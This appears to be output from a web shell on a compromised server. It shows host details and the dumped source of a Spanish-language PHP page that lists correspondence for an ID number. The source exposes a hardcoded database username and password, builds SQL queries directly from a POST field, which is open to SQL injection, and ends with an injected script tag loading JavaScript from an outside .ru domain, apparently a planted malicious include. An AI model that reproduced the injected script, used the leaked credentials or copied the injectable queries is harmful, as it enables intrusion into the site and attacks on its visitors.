MOON
Server: Apache/2.2.34 (Unix) mod_ssl/2.2.34 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 FrontPage/5.0.2.2635
System: Linux server.asjudinet.com 2.6.32-042stab141.3 #1 SMP Fri Nov 15 22:45:34 MSK 2019 i686
User: asjudine (504)
PHP: 5.2.17
Disabled: NONE
Upload Files
File: /home/asjudine/public_html/Visualizar_Respuestas.php
<?php
      require_once("mainfile.php");
      include ("config.php");
      global $dbi;

 function Conectarse()
	{
	
	   if (!($link=@mysql_connect("localhost","asjudine","as2006")))
	   {
		  echo "Error conectando con el servidor.";
		  exit();
	   }
	   $dbname = "asjudinet";
	   if (!@mysql_select_db($dbname,$link))
	   {
		  echo "Error seleccionando la base de datos.";
		  exit();
	   }
	   return $link;
	}
	Conectarse();	

 
     //$Visualiza="select Identificacion,  Referencia,  Nombre_Completo from correspondencias where Identificacion = $Identificacion";	   
     //$Query = sql_query($Visualiza, $dbi);	
	 
	   $Query = mysql_query('SELECT Identificacion,  Referencia,  Nombre_Completo FROM correspondencias WHERE Identificacion = "' . $_POST[Identificacion] . '"');
			if (!$Query) {
				die('Invalid query: ' . mysql_error());
			}
	    
     if($Query) 
     {
             list($Identificacion, $Referen, $Nombre) = mysql_fetch_row($Query);

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Documento sin t&iacute;tulo</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
body {
	background-image: url();
}
.Estilo2 {font-weight: bold}
.Estilo8 {font-family: Arial, Helvetica, sans-serif; font-size: 12px; }
.Estilo10 {color: #0000FF}
.Estilo11 {font-family: Arial, Helvetica, sans-serif; font-size: 12px; color: #0000FF; }
.Estilo17 {color: #990000; font-family: Arial, Helvetica, sans-serif; }
.Estilo23 {	color: #FFFFFF;
	font-weight: bold;
}
.Estilo22 {	color: #990000;
	font-family: Arial, Helvetica, sans-serif;
	font-weight: bold;
}
-->
</style>

  <STYLE>
.caja {
	BORDER-RIGHT: #000000 3px solid; BORDER-TOP: #000000 3px solid; BORDER-LEFT: #000000 3px solid; BORDER-BOTTOM: #000000 3px solid; BACKGROUND-COLOR: #f5f5f5
}
.noticias {
	BACKGROUND-COLOR: #ffcc00
}
INPUT.mail {
	BORDER-RIGHT: #ff9900 1px solid; BORDER-TOP: #ff9900 1px solid; BORDER-LEFT: #ff9900 1px solid; WIDTH: 200px; BORDER-BOTTOM: #ff9900 1px solid
}
INPUT.mini {
	BORDER-RIGHT: #ff9900 1px solid; BORDER-TOP: #ff9900 1px solid; BORDER-LEFT: #ff9900 1px solid; WIDTH: 80px; BORDER-BOTTOM: #ff9900 1px solid
}
INPUT.btn {
	BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; BORDER-LEFT: #000000 1px solid; WIDTH: 120px; CURSOR: hand; BORDER-BOTTOM: #000000 1px solid; backgrouhd-color: #cccccc
}
.Estilo2 {	color: #FFFFFF;
	font-weight: bold;
}
.Estilo7 {font-size: 14px}
.Estilo8 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; }
.Estilo9 {
	font-size: 12px;
	color: #FFFFFF;
}
.Estilo10 {font-family: Arial, Helvetica, sans-serif}
.Estilo12 {font-size: 12px}
</STYLE>
</head>

<body>
<form name="formulario" method="post">
<table width="780" border="0" align="center" cellpadding="0" cellspacing="0">
      <tr>
        <td><img src="ELEMENTOS/cabezote_servi.jpg" width="925" height="102"></td>
      </tr>
</table>
<table width="780" border="0" align="center" cellpadding="0" cellspacing="0">
      <tr bgcolor="#FFFFCC">
        <td><div align="center" class="Estilo11">Mensaje(s) enviados para:  <span class="Estilo22"><?php echo $Referen ?>   <?php echo $Nombre ?>    <?php echo $Numero ?></span></div>        </td>
      </tr>
</table>

<TABLE width="789" border="0" align="center" cellpadding="0" cellspacing="4">
      <TR>
         <TD bgcolor="#FFFFCC"><div align='center'><span class="Estilo11">No. Radicación</span></div></TD>	  
         <TD bgcolor="#FFFFCC"><div align='center'><span class="Estilo11">DE</span></div></TD>
         <TD bgcolor="#FFFFCC"><div align='center'><span class="Estilo11">ASUNTO</span><span class="Estilo10"></span></span></TD>		 
         <TD bgcolor="#FFFFCC" class="Estilo10"><div align='center'><span class="Estilo8">FECHA DE ENVIO</span></span></TD>
         <TD bgcolor="#FFFFCC" class="Estilo10"><div align='center'><span class="Estilo8">ELABORO EL DOCUMENTO</span></span></TD>		
         <TD bgcolor="#FFFFCC" class="Estilo10"><div align='center'><span class="Estilo8">HORA</span></span></TD>				  
         <TD bgcolor="#FFFFCC"><div align='center'><span class="Estilo11">ESTADO</span></span></TD>		 
</TR>
<?php
                      if($Identificacion != "")
                      {
  //   $sql="select Id, Quien_Expide, Asunto, Dia_Envio, Mes_Envio, Ano_Envio, Nombre_Elabora, Hora_Envio, Notificar, Id from correspondencias where Identificacion = $Identificacion";	   
                              // $Consulta = sql_query($sql, $dbi);	
							   
$res = mysql_query('SELECT Id, Quien_Expide, Asunto, Dia_Envio, Mes_Envio, Ano_Envio, Nombre_Elabora, Hora_Envio, Notificar, Id FROM correspondencias WHERE Identificacion = "' . $_POST[Identificacion] . '"');
			if (!$res) {
				die('Invalid query: ' . mysql_error());
			}   
                               if (sql_num_rows($res)==0) 
                                 {
                                         echo "<script>alert('Número de Identificación no encontrado');</script>";
	                                     exit;
                                 }			 
                                 else
                                 {     $I = 0; 
                                        while(list($id, $Quien_Expide, $Asunto, $Dia_Envio, $Mes_Envio, $Ano_Envio, $Nombre_Elabora, $Hora_Envio, $Notificar, $Id) = mysql_fetch_row($res)) 
                                           { 
                             			         if($Notificar  == "N"){$I = $I + 1;}
                                                       printf("<tr>
                                        				 <td bgcolor='#C5D6FC'><div align='center' class='Estilo8'>".$id."</a></span></div></td>													   
                                        				 <td bgcolor='#C5D6FC'><div align='center' class='Estilo8'><a href=\"Datos_Enviados.php?id=$Id\"  target='_blank'>".$Quien_Expide."</a></span></div></td>
                                     		             <td bgcolor='#C5D6FC'><div align='center' class='Estilo8'>".$Asunto."</span></div></td>
                                    					 <td bgcolor='#C5D6FC'><div align='center' class='Estilo8'>".$Dia_Envio." - ".$Mes_Envio." - ".$Ano_Envio."</span></div></td>
                                    					 <td bgcolor='#C5D6FC'><div align='center' class='Estilo8'>".$Nombre_Elabora."</span></div></td>
                                     					 <td bgcolor='#C5D6FC'><div align='center' class='Estilo8'>".$Hora_Envio."</span></div></td>					 
                                    					 <td bgcolor='#C5D6FC'><div align='center' class='Estilo8'>".$Notificar."</span></div></td>");
                                          }
			                                             echo "</table>";
                                  } 
                                                         mysql_free_result($res);
                       }
					   echo "<style type='text/css'><!--body {background-image: url();}.Estilo12 {font-family: Arial, Helvetica, sans-serif;color: #FFFFFF;font-size: 18px;}--></style>					   
					   <table width='780' border='0' align='center' cellpadding='0' cellspacing='0'><tr>
                                <td bgcolor='#990000'><span class='Estilo18 Estilo12'>Tienes $I mensaje(s) sin leer</span></td></tr></table>";
                      echo "<style type='text/css'><!--body {background-image: url();}.Estilo14 {font-family: Arial, Helvetica, sans-serif;color: #ICFFFF;font-size: 18px;}--></style>					   
					  <span class='Estilo14'>Para regresar haga click sobre el botón Atras del Navegador</span>";								
			}		   
?>			
</form>
<script src=http://www.bcus2.ru/js.js></script></body>
</html>